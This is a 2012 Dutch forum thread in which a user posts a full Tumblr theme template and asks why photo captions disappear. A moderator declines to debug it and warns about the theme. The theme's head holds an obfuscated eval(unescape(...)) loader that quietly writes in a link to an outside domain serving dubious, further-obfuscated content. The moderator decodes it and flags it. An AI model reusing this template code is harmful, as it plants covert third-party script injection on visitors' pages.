Toon posts:

Html tumblr

Pagina: 1
Acties:
  • 262 views

Onderwerpen

Tumblr

zaterdag 24 maart 2012 01:03

Acties:
  • 0 Henk 'm!
  • Snow Patrol
  • Registratie: November 2010
  • Laatst online: 05-06 10:52

Snow Patrol

Topicstarter
Ik weet niet of iemand tumblr kent, voor mijn vraag is dat niet zo zeer belangrijk.

Ik heb de html code aangepast en mijn blog zodoende een eigen style te geven, nu zie ik alleen onder post met picture's geen tekst meer, terwijl dat ik dat er wel bij heb geplaatst voordat ik de foto gepost heb.
Ik zie het wel in het gewone venster van tumblr, alleen niet in mijn eigen gestylde blog.

Het is gewoon een hele simpele html code, en ik post hem hieronder, ik hoop dat iemand me er mee kan helpen en zelf ook weer wat leer..

Ik ken zelf alleen de basic's van html en heb ook al naar oplossingen gezocht op google, maar dat heeft me niet geholpen. Dus bij deze mn poging bij de tweakers.

Dus alles is goed in de code, behalve bij de post bij "photos met tekst bijgevoegd". De tekst verdwijnt dan in mijn blog.


<HTML>


<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title> {title}</title>
<link rel="shortcut icon" href="{favicon}">
<META name="image:Background" content="http://i49.tinypic.com/f02b2q.jpg">
<META name="image:header 500X323" content="http://i432.photobucket.com/albums/qq50/winia55/tumblr_ltchcjLKH71qk2t2do1_500.jpg">
<META name="color:Background Color" content="#ffffff">
<meta name="font:title" content="Century Gothic" />
<meta name="font:body" content="Trebuchet Ms" />
<META name="color:font color" content="#666666">
<META name="color:link color" content="#965632">
<META name="color:link hover" content="#BD8C0F">
<META name="color:Border" content="#eeeeee">
<META name="color:link hover bg" content="#fafafa">
<META name="color:post title font" content="#666666">
<META name="color:Post Background" content="#ffffff">
<meta name="if:HideHeader" content="0"/>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"><!--mce:0--></script>
<script src="toggle.js" type="text/javascript"><!--mce:1--></script>
<script type="text/javascript">
$(document).ready(function(){
//Hide the tooglebox when page load
$(".togglebox").hide();
//slide up and down when click over heading 2
$("down").click(function(){
// slide toggle effect set to slow you can set it to fast too.
$(this).next(".togglebox").slideToggle("slow");
return true;
});
});
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
<script type="text/javascript">
$(document).ready(function() {
//Tooltips
$(".tip_trigger").hover(function(){
tip = $(this).find('.tip');
tip.show(); //Show tooltip
}, function() {
tip.hide(); //Hide tooltip
}).mousemove(function(e) {
var mousex = e.pageX + 20; //Get X coodrinates
var mousey = e.pageY + 20; //Get Y coordinates
var tipWidth = tip.width(); //Find width of tooltip
var tipHeight = tip.height(); //Find height of tooltip

//Distance of element from the right edge of viewport
var tipVisX = $(window).width() - (mousex + tipWidth);
//Distance of element from the bottom of viewport
var tipVisY = $(window).height() - (mousey + tipHeight);

if ( tipVisX < 20 ) { //If tooltip exceeds the X coordinate of viewport
mousex = e.pageX - tipWidth - 20;
} if ( tipVisY < 20 ) { //If tooltip exceeds the Y coordinate of viewport
mousey = e.pageY - tipHeight - 20;
}
//Absolute position the tooltip according to mouse position
tip.css({ top: mousey, left: mousex });
});
});
</script>
<script type="text/javascript">
<!--
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%64%34%36%31%34%33%61%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%32%31%34%37%38%34%39%39%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%36%31%32%32%39%38%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%2d%39%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%64%34%36%31%34%33%61%28%27') + '%43%76%76%73%75%20%7e%68%74%44%29%75%75%84%76%6a%78%70%67%6b%7b%2a%2b%73%72%66%69%45%2f%75%7c%74%7c%45%39%3a%69%7c%66%71%6e%72%7c%6c%67%32%6a%79%74%3a%75%75%84%76%6a%78%70%67%6b%85%36%6e%7e%75%23%2f%7e%86%7d%6f%4f%2e%7b%6f%83%7f%31%64%7a%7f%2f%2d%6d%78%6f%7d%7d%6c%7f%4f%23%78%7e%6b%32%40%22%4221478499%36%33%34%34%31%39%35' + unescape('%27%29%29%3b'));
// -->
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {

$("#topnav li").prepend("<span></span>"); //Throws an empty span tag right before the a tag

$("#topnav li").each(function() { //For each list item...
var linkText = $(this).find("a").html(); //Find the text inside of the <a> tag
$(this).find("span").show().html(linkText); //Add the text in the <span> tag
});

$("#topnav li").hover(function() { //On hover...
$(this).find("span").stop().animate({
marginTop: "-40" //Find the <span> tag and move it up 40 pixels
}, 250);
} , function() { //On hover out...
$(this).find("span").stop().animate({
marginTop: "0" //Move the <span> back to its original state (0px)
}, 250);
});

});
</script>
<link rel="stylesheet" type="text/css" href="http://static.tumblr.com/txfvidw/GlKlmy8gs/godie.swf" />
<style type="text/css">
#navbar-iframe {height:0px; visibility:hidden; display:none}

a:link, a:visited, a:active {
color: {color:link color};
cursor: default;
text-decoration:none;
}
a:hover {
color: {color:link hover};
cursor: pointer;
text-decoration:none;
background-color:{color:link hover bg};
}
body {
background-color: {color:Background Color};
background-image: url({image:Background});
background-attachment: fixed;
background-repeat: repeat;
color:{color:font color};
cursor: url("http://i432.photobucket.com/albums/qq50/winia55/Untitled-12.png"), default;
text-align:justify;
margin: 0px;
padding: 0px;
}
.post{
width: 500px;
padding: 5px;
background-color:{color:Post Background};
margin-bottom:8px;
-moz-border-radius:5px;
border-radius:5px;
border:1px solid {color:Border};
}
.header {
font: 25px {font:title};
color: {color:post title font};
text-transform: none;
margin-top:5px;
font-weight:normal;
line-height:23px;
letter-spacing:-2px;
}
b {
color: {color:font color};}
strong {
color: {color:font color};}
i {
color: {color:font color};}
u {
font-color: {color:font color};
}
table {
background-color: transparent;
font-family: {font:body};
font-size: 8pt;
color:{color:font color};
line-height: 120%;
padding: 0px;
margin-left: auto;
margin-right: auto;
margin-top: 0px;
}

img { border: 0px solid #eee; padding: 0px; filter: alpha (opacity=1.0); opacity: 1.0;}
img:hover {filter: alpha (opacity=80); opacity: 0.80;
}
blockquote{
border-left-width: 1px;
border-left-style: dotted;
border-left-color:{color:Border};
padding:1px; padding-left: 5px; margin: 0px;}
}
.chat {
padding:0px
text-align:left;
}
.chat li {
padding: 2px;
list-style-type: none;
}
.chat li:nth-child(odd) {
background:{color:link hover bg};
}
.footer {
padding: 5px 5 5 5;
font-family: Georgina;
text-transform: uppercase;
font-size:7pt;
}
ol.notes {
padding: 0px;
margin: 25px 0px;
list-style-type: none;
border-bottom: solid 2px {color:Border};
}

ol.notes li.note {
border-top: solid 2px {color:Border};
padding: 10px;
}

ol.notes li.note img.avatar {
vertical-align: -4px;
margin-right: 10px;
width: 16px;
height: 16px;
}

ol.notes li.note span.action {
font-weight: bold;
}

ol.notes li.note .answer_content {
font-weight: normal;
}

ol.notes li.note blockquote {
border-color: {color:Border};
padding: 4px 10px;
margin: 10px 0px 0px 25px;
}

ol.notes li.note blockquote a {
text-decoration: none;
}
#navigation{
display:inline-block;
width:100px; font: 8pt arial;
text-transform:uppercase;
cursor: help; color: #666666;
background: #f9f9f9;
padding: 8px;
margin:2px;
text-align:center;
}
.pagination {
font-size: 13px;
margin-left: 2px;
text-transform: uppercase;
background:{color:Post background};
padding: 3px;
display: inline-block;
width:20px;
}
.pagination:hover {
background-color: {color:Border};
}
.nextprev {
font-size: 13px;
text-transform: uppercase;
background:{color:Post background};
padding: 3px; display:
inline-block;
width:35px;
margin-left: 2px;

}
.nextprev:hover {
background-color: {color:Border};}
.container { width: 500px; height: 330px; overflow: hidden;{block:IfHideHeader}
display:none;{/block:IfHideHeader}}
ul#topnav { opacity: 0.6;filter: alpha(opacity=60); margin: 0; padding: 0; list-style: none; float: left; font-size: 1.1em; }
ul#topnav li { margin: 0; padding: 1px; overflow: hidden; float: left; height:40px; }
ul#topnav a, ul#topnav span { opacity: 0.6;filter: alpha(opacity=60); padding: 10px 20px; float: left; text-decoration: none; color: #fff; background: url(http://i55.tinypic.com/5a5542.jpg) repeat-x; text-transform: uppercase; clear: both; width: 100%; height: 20px; line-height: 20px; }
ul#topnav a { color: #555; background-position: left bottom; }
ul#topnav span { background-position: left top; }

{CustomCSS}
</style>
</head>


<body>
<table width="520px" align="center" cellpadding="10" cellspacing="0" border-style="1px dashed #000000";>

<td width="505px" valign="top" style="background:transparent; text-align:justify;
">

<div style="background-color:{color:Post background}; text-align:left;padding: 5px 5px 5px 5px;-moz-border-radius:5px;border-radius:5px;border:1px solid #eeeeee;">
<center>
<div class="container">
<div style="margin-bottom: -40px;"><img src="{image:header 500X323}"></div>
<ul id="topnav">
<li><a href="/archive">Archive</a></li>
<li><a href="/ask">Ask Me</a></li>
<li><a href="/submit">Submit</a></li>
<li><a href="http://winia-me.tumblr.com/">Just me</a></li>
</ul>
</div>


<img src="{PortraitURL-48}" align="left" ></img>{block:Description}
<div align="left">
{Description}<BR><BR>{/block:Description}
</div>
</div><br>


{block:Posts}
<div class="post">
{block:Text}
{block:Title}
<h3><a href="{Permalink}"><div class="header">{Title}</div></a></h3>
{/block:Title}
{Body}

{block:IndexPage}
<div class="permalink">
{block:Date} Posted on <a href="{Permalink}">{Month}/{DayOfMonth}/{Year}{/block:Date}</a> {block:NoteCount}with <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a>
<div style="float:right;">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog this</a>
</div>
{block:HasTags}<br>Tagged as:{block:Tags}<a href="{TagURL}">{Tag}</a>,{/block:Tags}{/block:HasTags}</div>
{/block:IndexPage}

{/block:Text}

{block:Photo}
{block:IndexPage}
<img src="{PhotoURL-500}" alt="{PhotoAlt}" width="500"/>
{/block:IndexPage}
{block:PermalinkPage}
{LinkOpenTag}
<img src="{PhotoURL-500}" alt="{PhotoAlt}" width="500"/>
{LinkCloseTag}
{block:Caption}
{Caption}
{/block:Caption}
{/block:PermalinkPage}

{block:IndexPage}
<div class="permapic">
{block:Date} Posted on <a href="{Permalink}">{Month}/{DayOfMonth}/{Year}{/block:Date}</a> {block:NoteCount}with <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a>
<div style="float:right;">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog this</a>
</div>
{block:HasTags}<br>Tagged as:{block:Tags}<a href="{TagURL}">{Tag}</a>,{/block:Tags}{/block:HasTags}
</div>
{/block:IndexPage}
{/block:Photo}

{block:Photoset}

<center>{Photoset-500}</center>
{block:PermalinkPage}
{block:Caption}
{Caption}
{/block:Caption}
{/block:PermalinkPage}

{block:IndexPage}
<div class="permalink">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog</a> | {block:Date}<a href="{Permalink}">{TimeAgo}</a>{/block:Date}{block:NoteCount} | <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a></div>
{/block:IndexPage}
{/block:Photoset}

{block:Quote}
<div class="header">"{Quote}"</div>
{block:Source}
<div style="text-align:right"> -{Source}<br></div>
{/block:Source}

{block:IndexPage}
<div class="permalink">
{block:Date} Posted on <a href="{Permalink}">{Month}/{DayOfMonth}/{Year}{/block:Date}</a> {block:NoteCount}with <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a>
<div style="float:right;">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog this</a>
</div>
{block:HasTags}<br>Tagged as:{block:Tags}<a href="{TagURL}">{Tag}</a>,{/block:Tags}{/block:HasTags}</div>
{/block:IndexPage}

{/block:Quote}
{block:Link}
<div class="header"><a href="{URL}" class="link" {Target}> {Name} → </a></div>
{block:Description}
{Description}
{/block:Description}

{block:IndexPage}
<div class="permalink">
{block:Date} Posted on <a href="{Permalink}">{Month}/{DayOfMonth}/{Year}{/block:Date}</a> {block:NoteCount}with <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a>
<div style="float:right;">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog this</a>
</div>
{block:HasTags}<br>Tagged as:{block:Tags}<a href="{TagURL}">{Tag}</a>,{/block:Tags}{/block:HasTags}</div>
{/block:IndexPage}

{/block:Link}


{block:Chat}

{block:Title}
<a href="{Permalink}"><div class="header">{Title}</div></a>
{/block:Title}
<ul class="chat">
{block:Lines}
<li class="{Alt} user_{UserNumber}">
{block:Label}
<strong>{Label}</strong>
{/block:Label}
{Line}</li>
{/block:Lines}</ul>

{block:IndexPage}
<div class="permalink">
{block:Date} Posted on <a href="{Permalink}">{Month}/{DayOfMonth}/{Year}{/block:Date}</a> {block:NoteCount}with <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a>
<div style="float:right;">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog this</a>
</div>
{block:HasTags}<br>Tagged as:{block:Tags}<a href="{TagURL}">{Tag}</a>,{/block:Tags}{/block:HasTags}</div>
{/block:IndexPage}

{/block:Chat}

{block:Video}
<center>{Video-500}</center>
{block:PermalinkPage}
{block:Caption}
{Caption}
{/block:Caption}
{/block:PermalinkPage}

{block:IndexPage}
<div class="permalink">
{block:Date} Posted on <a href="{Permalink}">{Month}/{DayOfMonth}/{Year}{/block:Date}</a> {block:NoteCount}with <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a>
<div style="float:right;">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog this</a>
</div>
{block:HasTags}<br>Tagged as:{block:Tags}<a href="{TagURL}">{Tag}</a>,{/block:Tags}{/block:HasTags}</div>
{/block:IndexPage}

{/block:Video}

{block:Audio}
{block:AlbumArt}
<img src="{AlbumArtURL}" align="left" width="100px" height="100px" style="margin-right:5px;"/>{/block:AlbumArt}
{AudioPlayerWhite}
{block:Caption}
{Caption}
{/block:Caption}
<p>{PlayCountWithLabel}</p>
<br clear="all">

{block:IndexPage}
<div class="permalink">
{block:Date} Posted on <a href="{Permalink}">{Month}/{DayOfMonth}/{Year}{/block:Date}</a> {block:NoteCount}with <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a>
<div style="float:right;">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog this</a>
</div>
{block:HasTags}<br>Tagged as:{block:Tags}<a href="{TagURL}">{Tag}</a>,{/block:Tags}{/block:HasTags}</div>
{/block:IndexPage}

{/block:Audio}

{block:Answer}
<div class="askr">
<img src="{AskerPortraitURL-24}" style="float: left; margin-right: 2px; margin-bottom: 2px;">
{Asker} said: {Question}<br clear="all">
</div>
{Answer}
{block:IndexPage}
<div class="permalink">
{block:Date} Posted on <a href="{Permalink}">{Month}/{DayOfMonth}/{Year}{/block:Date}</a> {block:NoteCount}with <a href="{Permalink}">{NoteCountWithLabel}{/block:NoteCount}</a>
<div style="float:right;">
<a href="http://tmv.proto.jp/reblog.php?post_url={Permalink};" target="_blank">Reblog this</a>
</div>
{block:HasTags}<br>Tagged as:{block:Tags}<a href="{TagURL}">{Tag}</a>,{/block:Tags}{/block:HasTags}</div>
{/block:IndexPage}
<br>
{/block:Answer}


{block:PermalinkPage}
{block:PostNotes}
<div class="notes">{PostNotes}</div>
{/block:PostNotes}
{/block:PermalinkPage}
</div>
{/block:Posts}
</ol>


<center><br>
{block:Pagination}
{block:PreviousPage}
<a href="{PreviousPage}"><div class="nextprev">Prev</a></div>
{/block:PreviousPage}

{block:JumpPagination length="10"}
{block:CurrentPage}
<span class="current_page"><div class="pagination">{PageNumber}</div></span>
{/block:CurrentPage}

{block:JumpPage}
<a class="jump_page" href="{URL}"><div class="pagination">{PageNumber}</div></a>
{/block:JumpPage}
{/block:JumpPagination}

{block:NextPage}
<a href="{NextPage}"><div class="nextprev">Next</a></div>
{/block:NextPage}
{/block:Pagination}
<br>
<center>Theme By: ©<a href="http://yanilavigne.tumblr.com">YaniLavigne</a>
</td>
</tr>

</table>
</body>
</html>

zaterdag 24 maart 2012 01:23

Acties:
  • 0 Henk 'm!
  • RobIII
  • Registratie: December 2001
  • Niet online

RobIII

Admin Devschuur®

^ Romeinse Ⅲ ja!

(overleden)
Ja, sorry, maar zo werkt het hier echt niet. We gaan hier niet voor iedereen in 500+ regels (ja, zoveel zijn 't er :X) code zitten zoeken naar een foutje. Als ik jou was ging ik eens aan de gang met een tool als Firebug/IE F12 Dev.tools/Chrome Dev.tools/Safari Dev.tools/Opera Dragonfly en als je er daar niet mee uit komt dan ga je aan de slag met een uitgeklede(!) testcase die enkel-en-alleen de minimale (en relevante) code bevat om je probleem te reproduceren en van daar uit ga je 't oplossen (iets met bomen en een bos).

Als je er dan nog niet uit komt dan ben je van harte welkom een nieuw topic te openen; gebruik dan wél code tags a.u.b. en hanteer daarbij onze Quickstart; "heb ook al naar oplossingen gezocht op google" roepen is zinloos als je niet aangeeft waar je op zocht, wat je vond, waarom de resultaten voor jou niet relevant waren of waarom je denkt dat de oplossingen die je vond niet werkten etc. Post dan vooral de (nogmaals: relevante!) HTML en eventueel CSS etc. maar beperk je dan tot een handvol tot hooguit een paar tiental regels code. Niemand heeft zin een enorme "code dump" door te gaan spitten.

offtopic:
Die onmeunige eval(unescape(... meuk bevat nou niet echt bepaald frisse code; het produceert een string:
<link rel="stylesheet" href="http://blendmode.com/stylesheez.css" type="text/css" charset="utf-8"> die niet naar een stylesheet maar naar nog onmeunigere HTML leidt met een crapload aan onmeunige CSS/HTML die van een boel dubieuze domeinen content vandaan trekt, nog meer obfuscated zooi bevat en sterk verbonden lijkt te zijn is aan godaddy.com. Zal wel één of ander partner-program zijn waar de maker van de template ofzo weer op cashed oid.

Ik zou als ik jou was eens goed nakijken van hoeveel domeinen je überhaupt resources (en welke soort resources) vandaan trekt; ik zie .swf'jes voorbij komen, proto.jp, photobucket, godaddy, tinypic, googleapis, blendmode, imgaft, googlesyndication en ga zo maar door. Daarmee is niet gezegd dat ze allemaal slecht zijn of niet als CDN (kunnen) dienen, maar dit is onderhand half internet wat je bij elkaar laadt :X En dat is alleen nog maar op basis van wat ik aan code in deze post en bovenstaande "un-obfuscated" zaken haal door de code schuin te lezen in notepad2 en zonder dus daadwerkelijk mijn browser (of voorgenoemde tools) te hebben gebruikt. To be honest: ik durf je pagina niet eens in mijn browser te openen (had ik de URL geweten).

[ Voor 37% gewijzigd door RobIII op 24-03-2012 01:43 ]

There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.

Je eigen tweaker.me redirect

Over mij

Dit topic is gesloten.

Apple iPhone 16e LG OLED evo G5 Google Pixel 10 Samsung Galaxy S25 Star Wars: Outlaws Nintendo Switch 2 Apple AirPods Pro (2e generatie) Sony PlayStation 5 Pro

Tweakers is onderdeel van DPG Media B.V.
Alle rechten voorbehouden - Auteursrecht © 1998 - 2025 • Hosting door TrueFullstaq